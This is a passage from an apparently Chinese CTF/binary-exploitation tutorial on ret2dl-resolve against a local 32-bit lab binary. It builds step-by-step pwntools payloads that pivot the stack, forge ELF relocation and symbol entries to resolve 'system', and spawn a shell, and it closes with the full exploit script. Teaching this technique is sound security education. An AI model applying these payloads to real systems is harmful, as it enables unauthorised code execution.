获得了 re2dl-resolve 所需的所有知识,下面我们来分析题目。

首先触发栈溢出漏洞,偏移为 112:

  1. gdb-peda$ pattern_offset 0x41384141
  2. 1094205761 found at offset: 112

根据理论知识及对二进制文件的分析,我们需要一个 read 函数用于读入后续的 payload 和伪造的各种表,一个 write 函数用于验证每一步的正确性,最后将 write 换成 system,就能得到 shell 了。

  1. from pwn import *
  2. # context.log_level = 'debug'
  3. elf = ELF('./a.out')
  4. io = remote('127.0.0.1', 10001)
  5. io.recv()
  6. pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret
  7. pop_ebp_addr = 0x0804869b # pop ebp ; ret
  8. leave_ret_addr = 0x080484b6 # leave ; ret
  9. write_plt = elf.plt['write']
  10. write_got = elf.got['write']
  11. read_plt = elf.plt['read']
  12. plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
  13. rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
  14. dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
  15. dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
  16. bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
  17. base_addr = bss_addr + 0x600 # 0x804a628

分别获取伪造各种表所需要的段地址,将 bss 段的地址加上 0x600 作为伪造数据的基地址,这里可能需要根据实际情况稍加修改。gadget pppr 用于平衡栈, pop ebp 和 leave ret 配合,以达到将 esp 指向 base_addr 的目的(在章节3.3.4中有讲到)。

第一部分的 payload 如下所示,首先从标准输入读取 100 字节到 base_addr,将 esp 指向它,并跳转过去,执行 base_addr 处的 payload:

  1. payload_1 = "A" * 112
  2. payload_1 += p32(read_plt)
  3. payload_1 += p32(pppr_addr)
  4. payload_1 += p32(0)
  5. payload_1 += p32(base_addr)
  6. payload_1 += p32(100)
  7. payload_1 += p32(pop_ebp_addr)
  8. payload_1 += p32(base_addr)
  9. payload_1 += p32(leave_ret_addr)
  10. io.send(payload_1)

从这里开始,后面的 paylaod 都是通过 read 函数读入的,所以必须为 100 字节长。首先,调用 write@plt 函数打印出与 base_addr 偏移 80 字节处的字符串 “/bin/sh”,以验证栈转移成功。注意由于 .dynstr 中的字符串都是以 \x00 结尾的,所以伪造字符串为 bin/sh\x00

  1. payload_2 = "AAAA" # new ebp
  2. payload_2 += p32(write_plt)
  3. payload_2 += "AAAA"
  4. payload_2 += p32(1)
  5. payload_2 += p32(base_addr + 80)
  6. payload_2 += p32(len("/bin/sh"))
  7. payload_2 += "A" * (80 - len(payload_2))
  8. payload_2 += "/bin/sh\x00"
  9. payload_2 += "A" * (100 - len(payload_2))
  10. io.sendline(payload_2)
  11. print io.recv()

我们知道第一次调用 write@plt 时其实是先将 reloc_index 压入栈,然后跳转到 PLT[0]:

  1. gdb-peda$ disassemble write
  2. Dump of assembler code for function write@plt:
  3. 0x08048430 <+0>: jmp DWORD PTR ds:0x804a01c
  4. 0x08048436 <+6>: push 0x20
  5. 0x0804843b <+11>: jmp 0x80483e0
  6. End of assembler dump.

这次我们跳过这个过程,直接控制 eip 跳转到 PLT[0],并在栈上布置上 reloc_index,即 0x20,就像是调用了 write@plt 一样。

  1. reloc_index = 0x20
  2. payload_3 = "AAAA"
  3. payload_3 += p32(plt_0)
  4. payload_3 += p32(reloc_index)
  5. payload_3 += "AAAA"
  6. payload_3 += p32(1)
  7. payload_3 += p32(base_addr + 80)
  8. payload_3 += p32(len("/bin/sh"))
  9. payload_3 += "A" * (80 - len(payload_3))
  10. payload_3 += "/bin/sh\x00"
  11. payload_3 += "A" * (100 - len(payload_3))
  12. io.sendline(payload_3)
  13. print io.recv()

接下来,我们更进一步,伪造一个 write 函数的 Elf32_Rel 结构体,原结构体在 .rel.plt 中,如下所示:

  1. typedef struct
  2. {
  3. Elf32_Addr r_offset; /* Address */
  4. Elf32_Word r_info; /* Relocation type and symbol index */
  5. } Elf32_Rel;
  1. $ readelf -r a.out | grep write
  2. 0804a01c 00000707 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0

该结构体的 r_offset 是 write@got 地址,即 0x0804a01cr_info0x707。动态装载器通过 reloc_index 找到它,而 reloc_index 是相对于 .rel.plt 的偏移,所以我们如果控制了这个偏移,就可以跳转到伪造的 write 上。payload 如下:

  1. reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28
  2. r_info = 0x707
  3. fake_reloc = p32(write_got) + p32(r_info)
  4. payload_4 = "AAAA"
  5. payload_4 += p32(plt_0)
  6. payload_4 += p32(reloc_index)
  7. payload_4 += "AAAA"
  8. payload_4 += p32(1)
  9. payload_4 += p32(base_addr + 80)
  10. payload_4 += p32(len("/bin/sh"))
  11. payload_4 += fake_reloc
  12. payload_4 += "A" * (80 - len(payload_4))
  13. payload_4 += "/bin/sh\x00"
  14. payload_4 += "A" * (100 - len(payload_4))
  15. io.sendline(payload_4)
  16. print io.recv()

另外讲一讲 Elf32_Rel 值的计算方法如下,我们下面会得用到:

  1. #define ELF32_R_SYM(val) ((val) >> 8)
  2. #define ELF32_R_TYPE(val) ((val) & 0xff)
  3. #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
  • ELF32_R_SYM(0x707) = (0x707 >> 8) = 0x7,即 .dynsym 的第 7 行
  • ELF32_R_TYPE(0x707) = (0x707 & 0xff) = 0x7,即 #define R_386_JMP_SLOT 7 /* Create PLT entry */
  • ELF32_R_INFO(0x7, 0x7) = (((0x7 << 8) + ((0x7) & 0xff)) = 0x707,即 r_info

这一次,伪造位于 .dynsym 段的结构体 Elf32_Sym,原结构体如下:

  1. typedef struct
  2. {
  3. Elf32_Word st_name; /* Symbol name (string tbl index) */
  4. Elf32_Addr st_value; /* Symbol value */
  5. Elf32_Word st_size; /* Symbol size */
  6. unsigned char st_info; /* Symbol type and binding */
  7. unsigned char st_other; /* Symbol visibility */
  8. Elf32_Section st_shndx; /* Section index */
  9. } Elf32_Sym;
  1. $ readelf -s a.out | grep write
  2. 7: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)

转储 .dynsym 段并找到第 7 行:

  1. $ objdump -s -j .dynsym a.out
  2. ...
  3. 804823c 4c000000 00000000 00000000 12000000 L...............
  4. ...

其中最重要的是 st_namest_info,分别为 0x4c0x12。构造 payload 如下:

  1. reloc_index = base_addr + 28 - rel_plt
  2. fake_sym_addr = base_addr + 36
  3. align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10
  4. fake_sym_addr = fake_sym_addr + align
  5. r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym
  6. r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry
  7. r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff))
  8. fake_reloc = p32(write_got) + p32(r_info)
  9. st_name = 0x4c
  10. st_info = 0x12
  11. fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
  12. payload_5 = "AAAA"
  13. payload_5 += p32(plt_0)
  14. payload_5 += p32(reloc_index)
  15. payload_5 += "AAAA"
  16. payload_5 += p32(1)
  17. payload_5 += p32(base_addr + 80)
  18. payload_5 += p32(len("/bin/sh"))
  19. payload_5 += fake_reloc
  20. payload_5 += "A" * align
  21. payload_5 += fake_sym
  22. payload_5 += "A" * (80 - len(payload_5))
  23. payload_5 += "/bin/sh\x00"
  24. payload_5 += "A" * (100 - len(payload_5))
  25. io.sendline(payload_5)
  26. print io.recv()

一样地讲一下 st_info 的解析和插入算法:

  1. #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4)
  2. #define ELF32_ST_TYPE(val) ((val) & 0xf)
  3. #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
  • ELF32_ST_BIND(0x12) = (((unsigned char) (0x12)) >> 4) = 0x1,即 #define STB_GLOBAL 1 /* Global symbol */
  • ELF32_ST_TYPE(0x12) = ((0x12) & 0xf) = 0x2,即 #define STT_FUNC 2 /* Symbol is a code object */
  • ELF32_ST_INFO(0x1, 0x2) = (((0x1) << 4) + ((0x2) & 0xf)) = 0x12,即 st_info

下一步,是将 st_name 指向我们伪造的字符串 “write”,payload 如下:

  1. reloc_index = base_addr + 28 - rel_plt
  2. fake_sym_addr = base_addr + 36
  3. align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
  4. fake_sym_addr = fake_sym_addr + align
  5. r_sym = (fake_sym_addr - dynsym) / 0x10
  6. r_type = 0x7
  7. r_info = (r_sym << 8) + (r_type & 0xff)
  8. fake_reloc = p32(write_got) + p32(r_info)
  9. st_name = fake_sym_addr + 0x10 - dynstr # address of string "write"
  10. st_bind = 0x1 # STB_GLOBAL -> Global symbol
  11. st_type = 0x2 # STT_FUNC -> Symbol is a code object
  12. st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
  13. fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
  14. payload_6 = "AAAA"
  15. payload_6 += p32(plt_0)
  16. payload_6 += p32(reloc_index)
  17. payload_6 += "AAAA"
  18. payload_6 += p32(1)
  19. payload_6 += p32(base_addr + 80)
  20. payload_6 += p32(len("/bin/sh"))
  21. payload_6 += fake_reloc
  22. payload_6 += "A" * align
  23. payload_6 += fake_sym
  24. payload_6 += "write\x00"
  25. payload_6 += "A" * (80 - len(payload_6))
  26. payload_6 += "/bin/sh\x00"
  27. payload_6 += "A" * (100 - len(payload_6))
  28. io.sendline(payload_6)
  29. print io.recv()

最后,只要将 “write” 替换成任何我们希望的函数,并调整参数,就可以了,这里我们换成 “system”,拿到 shell:

  1. reloc_index = base_addr + 28 - rel_plt
  2. fake_sym_addr = base_addr + 36
  3. align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
  4. fake_sym_addr = fake_sym_addr + align
  5. r_sym = (fake_sym_addr - dynsym) / 0x10
  6. r_type = 0x7
  7. r_info = (r_sym << 8) + (r_type & 0xff)
  8. fake_reloc = p32(write_got) + p32(r_info)
  9. st_name = fake_sym_addr + 0x10 - dynstr
  10. st_bind = 0x1
  11. st_type = 0x2
  12. st_info = (st_bind << 4) + (st_type & 0xf)
  13. fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
  14. payload_7 = "AAAA"
  15. payload_7 += p32(plt_0)
  16. payload_7 += p32(reloc_index)
  17. payload_7 += "AAAA"
  18. payload_7 += p32(base_addr + 80)
  19. payload_7 += "AAAA"
  20. payload_7 += "AAAA"
  21. payload_7 += fake_reloc
  22. payload_7 += "A" * align
  23. payload_7 += fake_sym
  24. payload_7 += "system\x00"
  25. payload_7 += "A" * (80 - len(payload_7))
  26. payload_7 += "/bin/sh\x00"
  27. payload_7 += "A" * (100 - len(payload_7))
  28. io.sendline(payload_7)
  29. io.interactive()

Bingo!!!

  1. $ python2 exp.py
  2. [*] '/home/firmy/Desktop/a.out'
  3. Arch: i386-32-little
  4. RELRO: Partial RELRO
  5. Stack: No canary found
  6. NX: NX enabled
  7. PIE: No PIE (0x8048000)
  8. [+] Opening connection to 127.0.0.1 on port 10001: Done
  9. [*] Switching to interactive mode
  10. $ whoami
  11. firmy

这题是 32 位程序,在 64 位下会有一些变化,比如说:

  • 64 位程序一般情况下使用寄存器传参,但给 _dl_runtime_resolve 传参时使用栈
  • _dl_runtime_resolve 函数的第二个参数 reloc_index 由偏移变为了索引。
  • _dl_fixup 函数中,在伪造 fake_sym 后,可能会造成崩溃,需要将 link_map+0x1c8 地址上的值置零

具体的以后遇到再说。

如果觉得手工构造太麻烦,有一个工具 roputils 可以简化此过程,感兴趣的同学可以自行尝试。

漏洞利用

完整的 exp 如下:

  1. from pwn import *
  2. # context.log_level = 'debug'
  3. elf = ELF('./a.out')
  4. io = remote('127.0.0.1', 10001)
  5. io.recv()
  6. pppr_addr = 0x08048699 # pop esi ; pop edi ; pop ebp ; ret
  7. pop_ebp_addr = 0x0804869b # pop ebp ; ret
  8. leave_ret_addr = 0x080484b6 # leave ; ret
  9. write_plt = elf.plt['write']
  10. write_got = elf.got['write']
  11. read_plt = elf.plt['read']
  12. plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
  13. rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
  14. dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
  15. dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
  16. bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
  17. base_addr = bss_addr + 0x600 # 0x804a628
  18. payload_1 = "A" * 112
  19. payload_1 += p32(read_plt)
  20. payload_1 += p32(pppr_addr)
  21. payload_1 += p32(0)
  22. payload_1 += p32(base_addr)
  23. payload_1 += p32(100)
  24. payload_1 += p32(pop_ebp_addr)
  25. payload_1 += p32(base_addr)
  26. payload_1 += p32(leave_ret_addr)
  27. io.send(payload_1)
  28. # payload_2 = "AAAA" # new ebp
  29. # payload_2 += p32(write_plt)
  30. # payload_2 += "AAAA"
  31. # payload_2 += p32(1)
  32. # payload_2 += p32(base_addr + 80)
  33. # payload_2 += p32(len("/bin/sh"))
  34. # payload_2 += "A" * (80 - len(payload_2))
  35. # payload_2 += "/bin/sh\x00"
  36. # payload_2 += "A" * (100 - len(payload_2))
  37. # io.sendline(payload_2)
  38. # print io.recv()
  39. # reloc_index = 0x20
  40. # payload_3 = "AAAA"
  41. # payload_3 += p32(plt_0)
  42. # payload_3 += p32(reloc_index)
  43. # payload_3 += "AAAA"
  44. # payload_3 += p32(1)
  45. # payload_3 += p32(base_addr + 80)
  46. # payload_3 += p32(len("/bin/sh"))
  47. # payload_3 += "A" * (80 - len(payload_3))
  48. # payload_3 += "/bin/sh\x00"
  49. # payload_3 += "A" * (100 - len(payload_3))
  50. # io.sendline(payload_3)
  51. # print io.recv()
  52. # reloc_index = base_addr + 28 - rel_plt # fake_reloc = base_addr + 28
  53. # r_info = 0x707
  54. # fake_reloc = p32(write_got) + p32(r_info)
  55. # payload_4 = "AAAA"
  56. # payload_4 += p32(plt_0)
  57. # payload_4 += p32(reloc_index)
  58. # payload_4 += "AAAA"
  59. # payload_4 += p32(1)
  60. # payload_4 += p32(base_addr + 80)
  61. # payload_4 += p32(len("/bin/sh"))
  62. # payload_4 += fake_reloc
  63. # payload_4 += "A" * (80 - len(payload_4))
  64. # payload_4 += "/bin/sh\x00"
  65. # payload_4 += "A" * (100 - len(payload_4))
  66. # io.sendline(payload_4)
  67. # print io.recv()
  68. # reloc_index = base_addr + 28 - rel_plt
  69. # fake_sym_addr = base_addr + 36
  70. # align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # since the size of Elf32_Sym is 0x10
  71. # fake_sym_addr = fake_sym_addr + align
  72. # r_sym = (fake_sym_addr - dynsym) / 0x10 # calcute the symbol index since the size of Elf32_Sym
  73. # r_type = 0x7 # R_386_JMP_SLOT -> Create PLT entry
  74. # r_info = (r_sym << 8) + (r_type & 0xff) # ELF32_R_INFO(sym, type) = (((sym) << 8) + ((type) & 0xff))
  75. # fake_reloc = p32(write_got) + p32(r_info)
  76. # st_name = 0x4c
  77. # st_info = 0x12
  78. # fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
  79. # payload_5 = "AAAA"
  80. # payload_5 += p32(plt_0)
  81. # payload_5 += p32(reloc_index)
  82. # payload_5 += "AAAA"
  83. # payload_5 += p32(1)
  84. # payload_5 += p32(base_addr + 80)
  85. # payload_5 += p32(len("/bin/sh"))
  86. # payload_5 += fake_reloc
  87. # payload_5 += "A" * align
  88. # payload_5 += fake_sym
  89. # payload_5 += "A" * (80 - len(payload_5))
  90. # payload_5 += "/bin/sh\x00"
  91. # payload_5 += "A" * (100 - len(payload_5))
  92. # io.sendline(payload_5)
  93. # print io.recv()
  94. # reloc_index = base_addr + 28 - rel_plt
  95. # fake_sym_addr = base_addr + 36
  96. # align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
  97. # fake_sym_addr = fake_sym_addr + align
  98. # r_sym = (fake_sym_addr - dynsym) / 0x10
  99. # r_type = 0x7
  100. # r_info = (r_sym << 8) + (r_type & 0xff)
  101. # fake_reloc = p32(write_got) + p32(r_info)
  102. # st_name = fake_sym_addr + 0x10 - dynstr # address of string "write"
  103. # st_bind = 0x1 # STB_GLOBAL -> Global symbol
  104. # st_type = 0x2 # STT_FUNC -> Symbol is a code object
  105. # st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
  106. # fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
  107. # payload_6 = "AAAA"
  108. # payload_6 += p32(plt_0)
  109. # payload_6 += p32(reloc_index)
  110. # payload_6 += "AAAA"
  111. # payload_6 += p32(1)
  112. # payload_6 += p32(base_addr + 80)
  113. # payload_6 += p32(len("/bin/sh"))
  114. # payload_6 += fake_reloc
  115. # payload_6 += "A" * align
  116. # payload_6 += fake_sym
  117. # payload_6 += "write\x00"
  118. # payload_6 += "A" * (80 - len(payload_6))
  119. # payload_6 += "/bin/sh\x00"
  120. # payload_6 += "A" * (100 - len(payload_6))
  121. # io.sendline(payload_6)
  122. # print io.recv()
  123. # reloc_index = base_addr + 28 - rel_plt
  124. # fake_sym_addr = base_addr + 36
  125. # align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
  126. # fake_sym_addr = fake_sym_addr + align
  127. # r_sym = (fake_sym_addr - dynsym) / 0x10
  128. # r_info = (r_sym << 8) + 0x7
  129. # fake_reloc = p32(write_got) + p32(r_info)
  130. # st_name = fake_sym_addr + 0x10 - dynstr
  131. # fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
  132. # payload_7 = "AAAA"
  133. # payload_7 += p32(plt_0)
  134. # payload_7 += p32(reloc_index)
  135. # payload_7 += "AAAA"
  136. # payload_7 += p32(base_addr + 80)
  137. # payload_7 += "AAAA"
  138. # payload_7 += "AAAA"
  139. # payload_7 += fake_reloc
  140. # payload_7 += "A" * align
  141. # payload_7 += fake_sym
  142. # payload_7 += "system\x00"
  143. # payload_7 += "A" * (80 - len(payload_7))
  144. # payload_7 += "/bin/sh\x00"
  145. # payload_7 += "A" * (100 - len(payload_7))
  146. # io.sendline(payload_7)
  147. reloc_index = base_addr + 28 - rel_plt
  148. fake_sym_addr = base_addr + 36
  149. align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
  150. fake_sym_addr = fake_sym_addr + align
  151. r_sym = (fake_sym_addr - dynsym) / 0x10
  152. r_type = 0x7
  153. r_info = (r_sym << 8) + (r_type & 0xff)
  154. fake_reloc = p32(write_got) + p32(r_info)
  155. st_name = fake_sym_addr + 0x10 - dynstr
  156. st_bind = 0x1
  157. st_type = 0x2
  158. st_info = (st_bind << 4) + (st_type & 0xf)
  159. fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
  160. payload_7 = "AAAA"
  161. payload_7 += p32(plt_0)
  162. payload_7 += p32(reloc_index)
  163. payload_7 += "AAAA"
  164. payload_7 += p32(base_addr + 80)
  165. payload_7 += "AAAA"
  166. payload_7 += "AAAA"
  167. payload_7 += fake_reloc
  168. payload_7 += "A" * align
  169. payload_7 += fake_sym
  170. payload_7 += "system\x00"
  171. payload_7 += "A" * (80 - len(payload_7))
  172. payload_7 += "/bin/sh\x00"
  173. payload_7 += "A" * (100 - len(payload_7))
  174. io.sendline(payload_7)
  175. io.interactive()

参考资料